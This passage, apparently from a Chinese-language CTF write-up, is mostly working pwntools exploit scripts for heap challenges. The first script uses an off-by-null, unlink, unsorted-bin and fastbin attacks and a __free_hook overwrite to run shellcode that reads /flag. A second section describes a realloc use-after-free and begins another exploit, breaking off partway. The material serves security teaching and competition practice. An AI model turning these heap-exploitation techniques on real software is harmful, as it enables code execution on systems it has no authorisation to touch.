string">'gnome-terminal'</span><span class="token punctuation">,</span> <span class="token string">'-x'</span><span class="token punctuation">,</span> <span class="token string">'sh'</span><span class="token punctuation">,</span> <span class="token string">'-c'</span><span class="token punctuation">]</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'info'</span><span class="token comment"># functions for quick script</span>s       <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token comment">#in case that data is an int</span>sa      <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sl      <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sla     <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> r       <span class="token operator">=</span> <span class="token keyword">lambda</span> numb<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recv<span class="token punctuation">(</span>numb<span class="token punctuation">,</span> timeout<span class="token operator">=</span>timeout<span class="token punctuation">)</span>ru      <span class="token operator">=</span> <span class="token keyword">lambda</span> delims<span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span>  <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>delims<span class="token punctuation">,</span> drop<span class="token punctuation">)</span>irt     <span class="token operator">=</span> <span class="token keyword">lambda</span>                    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>rs      <span class="token operator">=</span> <span class="token keyword">lambda</span> <span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span>dbg     <span class="token operator">=</span> <span class="token keyword">lambda</span> gs<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>debug<span class="token punctuation">(</span>gdbscript<span class="token operator">=</span>gs<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span><span class="token comment"># misc functions</span>uu32    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u32<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>uu64    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u64<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak    <span class="token operator">=</span> <span class="token keyword">lambda</span> name<span class="token punctuation">,</span>addr <span class="token punctuation">:</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'&#123;&#125; = &#123;:#x&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>binary <span class="token operator">=</span> <span class="token string">'./pwn'</span>ctx<span class="token punctuation">.</span>remote <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">'183.129.189.60'</span><span class="token punctuation">,</span> <span class="token number">10027</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>remote_libc <span class="token operator">=</span> <span class="token string">'libc.so.6'</span> <span class="token comment"># libc-2.27</span>ctx<span class="token punctuation">.</span>debug_remote_libc <span class="token operator">=</span> <span class="token boolean">True</span><span class="token keyword">def</span> <span class="token function">add</span><span class="token punctuation">(</span>size<span class="token punctuation">,</span> content<span class="token punctuation">,</span> idx<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Choice: '</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'index>> '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>idx<span class="token punctuation">)</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'size>> '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">)</span>    sa<span class="token punctuation">(</span><span class="token string">'name>> '</span><span class="token punctuation">,</span> content<span class="token punctuation">)</span>    <span class="token keyword">def</span> <span class="token function">dele</span><span class="token punctuation">(</span>idx<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Choice: '</span><span class="token punctuation">,</span> <span class="token string">'2'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'index>> '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>idx<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">def</span> <span class="token function">show</span><span class="token punctuation">(</span>idx<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Choice: '</span><span class="token punctuation">,</span> <span class="token string">'3'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'index>> '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>idx<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">def</span> <span class="token function">edit</span><span class="token punctuation">(</span>idx<span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Choice: '</span><span class="token punctuation">,</span> <span class="token string">'4'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'index>> '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>idx<span class="token punctuation">)</span><span class="token punctuation">)</span>    sa<span class="token punctuation">(</span><span class="token string">'name>> '</span><span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token comment">#rs()</span>rs<span class="token punctuation">(</span><span class="token string">'remote'</span><span class="token punctuation">)</span><span class="token comment"># 填满tchache</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    add<span class="token punctuation">(</span><span class="token number">0xf8</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    dele<span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    add<span class="token punctuation">(</span><span class="token number">0x68</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0xf8</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">)</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    dele<span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    add<span class="token punctuation">(</span><span class="token number">0x160</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    dele<span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token comment"># leak</span><span class="token comment"># off-by-null覆盖chunk4的pre_inuse</span>add<span class="token punctuation">(</span><span class="token number">0xf8</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x68</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x68</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0xf8</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x68</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0xf8</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token comment"># top</span><span class="token comment">#dele(1)</span>dele<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>dele<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>pay <span class="token operator">=</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x60</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0x1e0</span><span class="token punctuation">)</span> <span class="token comment"># pre_size</span>add<span class="token punctuation">(</span><span class="token number">0x68</span><span class="token punctuation">,</span> pay<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token comment"># 根据pre_size=0x2e0会向前合并到#0</span>dele<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token comment"># chunk0+chunk1，切割后在unsorted bin里的刚好由#2控制，可以leak </span>add<span class="token punctuation">(</span><span class="token number">0xf8</span><span class="token operator">+</span><span class="token number">0x70</span><span class="token punctuation">,</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0xf8</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x71</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> show<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>main_arena <span class="token operator">=</span> u64<span class="token punctuation">(</span>r<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'main_arena'</span><span class="token punctuation">,</span> main_arena<span class="token punctuation">)</span>lbase <span class="token operator">=</span> main_arena <span class="token operator">-</span> <span class="token punctuation">(</span><span class="token number">0x7ffff7dcfca0</span> <span class="token operator">-</span> <span class="token number">0x7ffff79e4000</span><span class="token punctuation">)</span>__free_hook <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'__free_hook'</span><span class="token punctuation">]</span>mprotect <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'mprotect'</span><span class="token punctuation">]</span>setcontext <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'setcontext'</span><span class="token punctuation">]</span>leak<span class="token punctuation">(</span><span class="token string">'lbase'</span><span class="token punctuation">,</span> lbase<span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'__free_hook'</span><span class="token punctuation">,</span> __free_hook<span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'mprotect'</span><span class="token punctuation">,</span> mprotect<span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'setcontext'</span><span class="token punctuation">,</span> setcontext<span class="token punctuation">)</span><span class="token comment"># 将#1,#4放入fastbin使得#1里由#4的地址，再通过#0来泄露heap地址</span>dele<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span>dele<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>show<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>r<span class="token punctuation">(</span><span class="token number">0x100</span><span class="token punctuation">)</span>heap_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>r<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'heap_addr'</span><span class="token punctuation">,</span> heap_addr<span class="token punctuation">)</span>dele<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token comment"># unlink</span>fake_chunk_addr <span class="token operator">=</span> heap_addr<span class="token operator">-</span><span class="token number">0x2d0</span>fake_chunk <span class="token operator">=</span> <span class="token string">''</span>fake_chunk <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x1d1</span><span class="token punctuation">)</span>fake_chunk <span class="token operator">+=</span> p64<span class="token punctuation">(</span>fake_chunk_addr<span class="token operator">+</span><span class="token number">0x8</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>fake_chunk_addr<span class="token operator">+</span><span class="token number">0x10</span><span class="token punctuation">)</span>fake_chunk <span class="token operator">+=</span> p64<span class="token punctuation">(</span>fake_chunk_addr<span class="token punctuation">)</span>fake_chunk <span class="token operator">+=</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token number">0x1d0</span><span class="token operator">-</span> <span class="token builtin">len</span><span class="token punctuation">(</span>fake_chunk<span class="token punctuation">)</span><span class="token punctuation">)</span>fake_chunk <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0x1d0</span><span class="token punctuation">)</span> <span class="token comment"># pre_size</span>add<span class="token punctuation">(</span><span class="token number">0x1d8</span><span class="token punctuation">,</span> fake_chunk<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token comment">#dbg('b free')</span><span class="token comment">#</span>add<span class="token punctuation">(</span><span class="token number">0xf8</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span>dele<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token comment"># unsorted bin attack to __free_hook-16</span><span class="token comment"># #0和#6错位了</span>fake_chunk <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x101</span><span class="token punctuation">)</span>fake_chunk <span class="token operator">+=</span> p64<span class="token punctuation">(</span>main_arena<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>__free_hook<span class="token operator">-</span><span class="token number">16</span><span class="token operator">-</span><span class="token number">16</span><span class="token punctuation">)</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> fake_chunk<span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0xf0</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">)</span><span class="token comment"># fastbin attack</span>pay <span class="token operator">=</span> <span class="token string">''</span>pay <span class="token operator">+=</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0xf0</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x71</span><span class="token punctuation">)</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>__free_hook<span class="token operator">-</span><span class="token number">16</span><span class="token operator">-</span><span class="token number">3</span><span class="token punctuation">)</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x60</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token comment"># modify free_hook</span>context<span class="token punctuation">.</span>arch <span class="token operator">=</span> <span class="token string">"amd64"</span>sc2_addr <span class="token operator">=</span> __free_hook <span class="token operator">&amp;</span> <span class="token number">0xfffffffffffff000</span>sc1 <span class="token operator">=</span> <span class="token triple-quoted-string string">'''xor rdi, rdimov rsi, %dmov edx, 0x1000mov eax, 0; //SYS_readsyscalljmp rsi'''</span> <span class="token operator">%</span> sc2_addrpay <span class="token operator">=</span> <span class="token string">'aaa'</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>setcontext<span class="token operator">+</span><span class="token number">53</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>__free_hook <span class="token operator">+</span> <span class="token number">0x10</span><span class="token punctuation">)</span> <span class="token operator">+</span> asm<span class="token punctuation">(</span>sc1<span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x60</span><span class="token punctuation">,</span> pay<span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">)</span>frame <span class="token operator">=</span> SigreturnFrame<span class="token punctuation">(</span><span class="token punctuation">)</span>frame<span class="token punctuation">.</span>rsp <span class="token operator">=</span> __free_hook <span class="token operator">+</span> <span class="token number">8</span> <span class="token comment"># ret</span>frame<span class="token punctuation">.</span>rip <span class="token operator">=</span> mprotectframe<span class="token punctuation">.</span>rdi <span class="token operator">=</span> sc2_addrframe<span class="token punctuation">.</span>rsi <span class="token operator">=</span> <span class="token number">0x1000</span>frame<span class="token punctuation">.</span>rdx <span class="token operator">=</span> <span class="token number">4</span> <span class="token operator">|</span> <span class="token number">2</span> <span class="token operator">|</span> <span class="token number">1</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>frame<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment">#dbg('b *%s' % hex(setcontext+53))</span><span class="token comment">#raw_input()</span>dele<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>flag_str <span class="token operator">=</span> <span class="token string">'/flag\x00\x00\x00'</span>sc2 <span class="token operator">=</span> <span class="token triple-quoted-string string">'''mov rax, %spush raxmov rdi, 0mov rsi, rspxor rdx, rdxmov rax, 257; //openatsyscallmov rdi, raxmov rsi, rspmov rdx, 1024mov rax, 0; //readsyscallmov rdi, 1;mov rsi, rspmov rdx, raxmov rax, 1; //writesyscallmov rdi, 0mov rax, 60syscall; //exit'''</span> <span class="token operator">%</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>u64<span class="token punctuation">(</span>flag_str<span class="token punctuation">)</span><span class="token punctuation">)</span>s<span class="token punctuation">(</span>asm<span class="token punctuation">(</span>sc2<span class="token punctuation">)</span><span class="token punctuation">)</span>irt<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="oooorder"><a href="#oooorder" class="headerlink" title="oooorder"></a>oooorder</h2><p>edit功能使用realloc，realloc(ptr, 0)相当于free(ptr)</p><p>而add功能可以使得size=0</p><p>那么就可以uaf了，leak地址后修改tcache_entry为__free_hook<br>然后又是setcontext,mprotect,orw</p><p>题目还关闭了fastbin的使用</p><p><img src="/images/ff79dc8d/3.png" alt="upload successful"></p><p>exp:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#coding=utf8</span><span class="token keyword">from</span> PwnContext <span class="token keyword">import</span> <span class="token operator">*</span>      context<span class="token punctuation">.</span>terminal <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'gnome-terminal'</span><span class="token punctuation">,</span> <span class="token string">'-x'</span><span class="token punctuation">,</span> <span class="token string">'sh'</span><span class="token punctuation">,</span> <span class="token string">'-c'</span><span class="token punctuation">]</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'info'</span><span class="token comment"># functions for quick script</span>s       <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token comment">#in case that data is an int</span>sa      <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sl      <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sla     <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> r       <span class="token operator">=</span> <span class="token keyword">lambda</span> numb<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recv<span class="token punctuation">(</span>numb<span class="token punctuation">,</span> timeout<span class="token operator">=</span>timeout<span class="token punctuation">)</span>ru      <span class="token operator">=</span> <span class="token keyword">lambda</span> delims<span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span>  <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>delims<span class="token punctuation">,</span> drop<span class="token punctuation">)</span>irt     <span class="token operator">=</span> <span class="token keyword">lambda</span>                    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>rs      <span class="token operator">=</span> <span class="token keyword">lambda</span> <span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span>dbg     <span class="token operator">=</span> <span class="token keyword">lambda</span> gs<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>debug<span class="token punctuation">(</span>gdbscript<span class="token operator">=</span>gs<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span><span class="token comment"># misc functions</span>uu32    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u32<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>uu64    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u64<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak    <span class="token operator">=</span> <span class="token keyword">lambda</span> name<span class="token punctuation">,</span>addr <span class="token punctuation">:</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'&#123;&#125; = &#123;:#x&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>binary <span class="token operator">=</span> <span class="token string">'./oooorder'</span>ctx<span class="token punctuation">.</span>remote <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">'183.129.189.60'</span><span class="token punctuation">,</span> <span class="token number">10028</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>remote_libc <span class="token operator">=</span> <span class="token string">'libc-2.27.so'</span>ctx<span class="token punctuation">.</span>debug_remote_libc <span class="token operator">=</span> <span class="token boolean">True</span><span class="token keyword">def</span> <span class="token function">add</span><span class="token punctuation">(</span>size<span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Your choice :'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'How much is the order?'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> size <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">:</span>        sa<span class="token punctuation">(</span><span class="token string">'Order notes:'</span><span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">edit</span><span class="token punctuation">(</span>idx<span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Your choice :'</span><span class="token punctuation">,</span> <span class="token string">'2'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Index of order:'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>idx<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> content <span class="token operator">!=</span> <span class="token string">''</span><span class="token punctuation">:</span>        sa<span class="token punctuation">(</span><span class="token string">'Order notes:'</span><span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">show</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Your choice :'</span><span class="token punctuation">,</span> <span class="token string">'3'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">dele</span><span class="token 